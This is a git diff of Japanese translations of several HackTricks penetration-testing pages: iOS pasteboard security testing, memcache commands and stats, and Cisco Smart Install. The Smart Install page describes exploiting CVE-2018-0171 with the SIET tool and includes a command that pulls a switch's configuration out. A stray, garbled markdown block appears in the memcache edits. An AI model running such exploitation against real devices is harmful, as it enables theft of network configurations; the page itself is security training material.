</details>

View file

@ -4,51 +4,51 @@
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
iOSデバイス上のアプリケーション間およびアプリケーション内でのデータ共有は、iOS 10以降から利用可能な、2つの主要なカテゴリに分かれた[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって容易に行われます。
iOSデバイス上のアプリケーション間およびアプリケーション内でのデータ共有は、[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって容易に行われます。このメカニズムは、次の2つの主要なカテゴリに分かれています
- **システム全体の一般ペーストボード**: これは**任意のアプリケーション**とデータを共有するために使用され、デバイス再起動やアプリのアンインストールを超えてデータを永続化するために設計されています。
- **カスタム/名前付きペーストボード**: これらは、**アプリ内または同じチームIDを共有する別のアプリとのデータ共有**のために特に設計されており、それらを作成するアプリケーションプロセスの寿命を超えて永続化することはできません。
- **システム全体の一般ペーストボード**これは**任意のアプリケーション**とデータを共有するために使用され、iOS 10以降で利用可能になったデータのデバイス再起動やアプリのアンインストールを超えた永続化機能が設計されています。
- **カスタム/名前付きペーストボード**これらは、**アプリ内または同じチームIDを共有する別のアプリとのデータ共有**のために特に設計されており、これらはiOS 10で導入された変更に従い、作成したアプリケーションプロセスの寿命を超えて永続化されることはありません。
**セキュリティ上の考慮事項**は、ペーストボードを利用する際に重要な役割を果たします。たとえば:
**セキュリティに関する考慮事項**は、ペーストボードを利用する際に重要な役割を果たします。たとえば:
- ユーザーが**ペーストボードへのアクセス権限を管理**するメカニズムはありません。
- ペーストボードの未承認のバックグラウンド監視のリスクを軽減するため、アクセスはアプリケーションが前面にあるときに制限されていますiOS 9以降
- プライバシー上の懸念から、永続的な名前付きペーストボードの使用は共有コンテナを優先しています。
- iOS 10で導入された**Universal Clipboard**機能は、一般ペーストボードを介してデバイス間でコンテンツを共有することを可能にし、開発者がデータの有効期限を設定したり、自動コンテンツ転送を無効にしたりすることができます。
**機密情報が誤ってグローバルペーストボードに保存されないようにする**ことが重要です。さらに、アプリケーションは、グローバルペーストボードデータの誤を防ぐために設計されるべきであり、開発者は機密情報のクリップボードへのコピーを防ぐための対策を実装することが推奨されています。
**機密情報が誤ってグローバルペーストボードに保存されないようにする**ことが重要です。さらに、アプリケーションは、グローバルペーストボードデータの誤った操作を防ぐために設計されるべきであり、開発者は機密情報のクリップボードへのコピーを防ぐための対策を実装することが推奨されています。
### 静的解析
静的解析では、ソースコードまたはバイナリを検索して以下を特定します:
- **システム全体の一般ペーストボード**の使用を特定するための`generalPasteboard`。
- **カスタムペーストボード**の作成に対する`pasteboardWithName:create:`および`pasteboardWithUniqueName`。永続性が有効になっているかどうかを確認しますが、これは非推奨です。
静的解析では、ソースコードまたはバイナリを検索して次のものを特定します:
- **systemwide general pasteboard**の使用を特定するための`generalPasteboard`。
- **カスタムペーストボード**の作成に`pasteboardWithName:create:`および`pasteboardWithUniqueName`を使用します。永続化が有効になっているかどうかを確認しますが、これは非推奨です。
### 動的解析
動的解析には、特定のメソッドのフックやトレースが含まれます:
- システム全体の使用のために`generalPasteboard`を監視します。
- カスタム実装のために`pasteboardWithName:create:`および`pasteboardWithUniqueName`をトレースします。
- 永続設定を確認するために非推奨の`setPersistent:`メソッド呼び出しを観察します。
- 永続設定を確認するために非推奨の`setPersistent:`メソッド呼び出しを観察します。
監視すべき主要な詳細には次のものがあります:
監視する主な詳細には次のものがあります:
- **ペーストボードの名前**と**内容**たとえば、文字列、URL、画像のチェック
- 存在する**アイテムの数**と**データ型**を、標準およびカスタムデータ型のチェックを活用して確認します。
- `setItems:options:`メソッドを検査して、**有効期限とローカル専用オプション**を確認します。
- 標準およびカスタムデータ型のチェックを活用して、存在する**アイテムの数**と**データ型**を確認します。
- `setItems:options:`メソッドを検査して、**有効期限****ローカル専用オプション**を確認します。
**objectionのペーストボードモニタ**の使用例は、generalPasteboardを5秒ごとに監視して変更を出力します。
**objectionのペーストボードモニター**の使用例として、`generalPasteboard`を5秒ごとに監視して変更を出力するツールがあります。
以下は、objectionのアプローチに触発された、ペーストボードからの変更を5秒ごとに読み取りログに記録するシンプルなJavaScriptスクリプトの例です
```javascript
@ -80,21 +80,21 @@ console.log(items);
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
- **HackTricks****HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
* **ハッキングテクニックを共有するには、PR を** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **の GitHub リポジトリに提出してください**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -24,32 +24,32 @@ HackTricks をサポートする他の方法:
サポートされているコマンド(公式および非公式)は、[doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) ドキュメントに記載されています。
残念ながら、構文の説明はあまり明確ではなく、既存のコマンドをリストアップする単純なヘルプコマンドの方がはるかに良いでしょう。以下は、[source](https://github.com/memcached/memcached) で見つけることができるコマンドの概要です2016年8月19日現在:
残念ながら、構文の説明はあまり明確ではなく、既存のコマンドをリストアップする単純なヘルプコマンドがはるかに良いでしょう。以下は、[source](https://github.com/memcached/memcached) で見つけることができるコマンドの概要です2016年8月19日現在:
| コマンド | 説明 | 例 |
| --------------------- | --------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | 値を読み取る | `get mykey` |
| set | キーを無条件で設定する | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size</code><br><br>&#x3C;p>Unix CLIツールを使用する場合は、改行として \r\n を使用してください。例: <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| set | キーを無条件で設定する | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI ツールを使用する場合は、改行として \r\n を使用してください。例えば&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | 新しいキーを追加する | `add newkey 0 60 5` |
| replace | 既存のキーを上書きする | `replace key 0 60 5` |
| append | 既存のキーにデータを追加する | `append key 0 60 15` |
| prepend | 既存のキーにデータを先頭に追加する | `prepend key 0 60 15` |
| incr | 指定された数値で数値キーの値を増やす | `incr mykey 2` |
| decr | 指定された数値で数値キーの値を減らす | `decr mykey 5` |
| replace | 既存のキーを上書きする | `replace key 0 60 5` |
| append | 既存のキーにデータを追加する | `append key 0 60 15` |
| prepend | 既存のキーにデータを先頭に追加する | `prepend key 0 60 15` |
| incr | 指定された数値で数値キーの値を増やす | `incr mykey 2` |
| decr | 指定された数値で数値キーの値を減らす | `decr mykey 5` |
| delete | 既存のキーを削除する | `delete mykey` |
| flush\_all | すべてのアイテムを即座に無効にする | `flush_all` |
| flush\_all | n秒後にすべてのアイテムを無効にする | `flush_all 900` |
| flush\_all | すべてのアイテムを即座に無効にする | `flush_all` |
| flush\_all | n 秒後にすべてのアイテムを無効にする | `flush_all 900` |
| stats | 一般的な統計を表示 | `stats` |
| | メモリ統計を表示 | `stats slabs` |
| | より高いレベルの割り当て統計を表示 | `stats malloc` |
| | アイテムに関する情報を表示 | `stats items` |
| | アイテムに関する情報を表示 | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
| | 統計カウンターをリセットする | `stats reset` |
| | 統計カウンターをリセット | `stats reset` |
| lru\_crawler metadump | キャッシュ内のアイテムの(ほとんどの)メタデータをダンプする | `lru_crawler metadump all` |
| version | サーバーバージョンを表示する。 | `version` |
| verbosity | ログレベルを増やす | `verbosity` |
| quit | セッションを終了する | `quit` |
| version | サーバーバージョンを表示 | `version` |
| verbosity | ログレベルを増やす | `verbosity` |
| quit | セッションを終了する | `quit` |
#### トラフィック統計 <a href="#traffic-statistics" id="traffic-statistics"></a>
@ -60,121 +60,6 @@ stats
以下は、接続数、バイトの入出力などを提供するリストです。
**出力例:**
```plaintext
STAT pid 1
STAT uptime 229
STAT time 1611337093
STAT version 1.5.12
STAT libevent 2.1.8-stable
STAT pointer_size 64
STAT rusage_user 0.000000
STAT rusage_system 0.000000
STAT max_connections 1024
STAT curr_connections 5
STAT total_connections 10
STAT rejected_connections 0
STAT connection_structures 6
STAT reserved_fds 20
STAT cmd_get 0
STAT cmd_set 0
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 0
STAT get_misses 0
STAT delete_misses 0
STAT delete_hits 0
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 0
STAT bytes_written 0
STAT limit_maxbytes 67108864
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT time_in_listen_disabled_us 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 16
STAT hash_bytes 524288
STAT hash_is_expanding 0
STAT expired_unfetched 0
STAT evicted_unfetched 0
STAT evictions 0
STAT reclaimed 0
STAT crawler_reclaimed 0
STAT crawler_items_checked 0
STAT lrutail_reflocked 0
STAT moves_to_cold 0
STAT moves_to_warm 0
STAT moves_within_lru 0
STAT direct_reclaims 0
STAT lru_bumps_dropped 0
STAT missing_autoreset 0
STAT time_in_nanos 0
STAT malloc_fails 0
STAT log_worker_dropped 0
STAT log_worker_written 0
STAT log_watcher_skipped 0
STAT log_watcher_sent 0
STAT bytes 0
STAT curr_items 0
STAT total_items 0
STAT slab_global_page_pool 0
STAT expired_unfetched 0
STAT evicted_unfetched 0
STAT evictions 0
STAT reclaimed 0
STAT crawler_reclaimed 0
STAT crawler_items_checked 0
STAT lrutail_reflocked 0
STAT moves_to_cold 0
STAT moves_to_warm 0
STAT moves_within_lru 0
STAT direct_reclaims 0
STAT lru_bumps_dropped 0
STAT missing_autoreset 0
STAT time_in_nanos 0
STAT malloc_fails 0
STAT log_worker_dropped 0
STAT log_worker_written 0
STAT log_watcher_skipped 0
STAT log_watcher_sent 0
STAT bytes 0
STAT curr_items 0
STAT total_items 0
STAT slab_global_page_pool 0
STAT expired_unfetched 0
STAT evicted_unfetched 0
STAT evictions 0
STAT reclaimed 0
STAT crawler_reclaimed 0
STAT crawler_items_checked 0
STAT lrutail_reflocked 0
STAT moves_to_cold 0
STAT moves_to_warm 0
STAT moves_within_lru 0
STAT direct_reclaims 0
STAT lru_bumps_dropped 0
STAT missing_autoreset 0
STAT time_in_nanos 0
STAT malloc_fails 0
STAT log_worker_dropped 0
STAT log_worker_written 0
STAT log_watcher_skipped 0
STAT log_watcher_sent 0
STAT bytes 0
STAT curr_items 0
STAT total_items 0
STAT slab_global_page_pool 0
END
```
```
STAT pid 14868
STAT uptime 175931
@ -206,7 +91,23 @@ END
```
stats slabs
```
例:
```markdown
### Memcache Commands
#### get
The `get` command is used to retrieve the value stored under a specific key.
Example:
```
### Memcacheコマンド
#### get
`get`コマンドは特定のキーの下に格納された値を取得するために使用されます。
例:
```
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@ -229,19 +130,13 @@ END
```
#### どのキーが使用されていますか? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
メモリキャッシュインスタンスに十分なメモリがあるかどうかがわからない場合は、"stats"コマンドによって与えられる"evictions"カウンターに注意してください。インスタンスに十分なメモリがある場合、"evictions"カウンターは0であるか、少なくとも増加していません。
メモリキャッシュインスタンスに十分なメモリがあるかどうかがわからない場合は、"stats"コマンドによって与えられる"evictions"カウンターに注意してください。インスタンスに十分なメモリがある場合、"evictions"カウンターは0または少なくとも増加していません。
```
stats items
```
### Command to determine how many keys do exist
### Command to determine how many keys do exist.
To determine the number of keys that exist in a Memcache server, you can use the following command:
```bash
stats items
```
This command will provide you with information about the number of items (keys) stored in the Memcache server.
キーがいくつ存在するかを判断するコマンド。
```
stats items
STAT items:1:number 220
@ -251,22 +146,22 @@ STAT items:2:age 1405
[...]
END
```
これにより、使用されているキーを確認できます。既にmemcacheアクセスを行っているPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。
これは少なくともどのキーが使用されているかを確認するのに役立ちます。既にmemcacheアクセスを行っているPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>

View file

@ -5,21 +5,21 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[テレグラムグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウグ**](https://peass.creator-spring.com)を手に入れましょう
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するためにPRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 基本情報
**Cisco Smart Install**は、新しいCiscoハードウェアの初期設定とオペレーティングシステムイメージの読み込みを自動化するために設計されたCiscoです。 **デフォルトでは、Cisco Smart InstallはCiscoハードウェアでアクティブであり、トランスポート層プロトコルであるTCPを使用し、ポート番号4786を使用します。**
**Cisco Smart Install**は、新しいCiscoハードウェアの初期設定とオペレーティングシステムイメージの読み込みを自動化するためにCiscoが設計したものです。**デフォルトでは、Cisco Smart InstallはCiscoハードウェアでアクティブであり、トランスポート層プロトコルであるTCPを使用し、ポート番号4786を使用します。**
**デフォルトポート:** 4786
```
@ -28,7 +28,7 @@ PORT STATE SERVICE
```
## **Smart Install Exploitation Tool**
**2018年、このプロトコルで致命的な脆弱性CVE-2018-0171が発見されました。脅威レベルはCVSSスケールで9.8です。**
**2018年、このプロトコルで致命的な脆弱性であるCVE-20180171が発見されました。脅威レベルはCVSSスケールで9.8です。**
**Cisco Smart InstallがアクティブなTCP/4786ポートに送信される特別に作成されたパケットは、バッファオーバーフローを引き起こし、攻撃者が次のことを行うことを可能にします:**
@ -36,11 +36,11 @@ PORT STATE SERVICE
* RCEを呼び出す
* ネットワーク機器の設定を盗む
**[SIET](https://github.com/frostbits-security/SIET) (Smart Install Exploitation Tool)** **は、この脆弱性を悪用するために開発されました。Cisco Smart Installを悪用することができます。この記事では、正当なネットワークハードウェアの設定ファイルを読み取る方法を紹介します。構成の外部流出は、ペンテスターにとって有益であり、ネットワークの固有の機能について学ぶことができます。これにより、攻撃の新たなベクトルを見つけることが容易になります。**
**[SIET](https://github.com/frostbits-security/SIET) (Smart Install Exploitation Tool)** **は、この脆弱性を悪用するために開発されました。Cisco Smart Installを悪用することができます。この記事では、正当なネットワークハードウェアの設定ファイルを読み取る方法を紹介します。ペンテスターにとって、構成の外部流出は貴重な情報になります。これにより、ネットワークの固有の機能について学び、攻撃の新たなベクトルを見つけることができます。**
**ターゲットデバイスは「ライブ」Cisco Catalyst 2960スイッチになります。仮想イメージにはCisco Smart Installがないため、実際のハードウェアでのみ練習できます。**
**ターゲットスイッチのアドレスは** **10.10.100.10でCSIがアクティブです。** **SIETをロードして攻撃を開始します。** **-g引数** はデバイスからの構成の外部流出を意味し、**-i引数** は脆弱なターゲットのIPアドレスを設定できます。
**ターゲットスイッチのアドレスは** **10.10.100.10でCSIがアクティブです。SIETをロードして攻撃を開始します。** **-g引数** はデバイスからの構成の外部流出を意味し、**-i引数** は脆弱なターゲットのIPアドレスを設定できます。
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
@ -51,7 +51,7 @@ PORT STATE SERVICE
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -59,10 +59,10 @@ PORT STATE SERVICE
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または **PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com) を手に入れます
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローします。**
* **ハッキングトリックを共有するために** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または **PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見しましょう、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクション
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com) を手に入れましょう
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローしてください。**
* **ハッキングトリックを共有するために** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -1,26 +1,26 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
他のHackTricksのサポート方法
HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)**と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# 基本情報
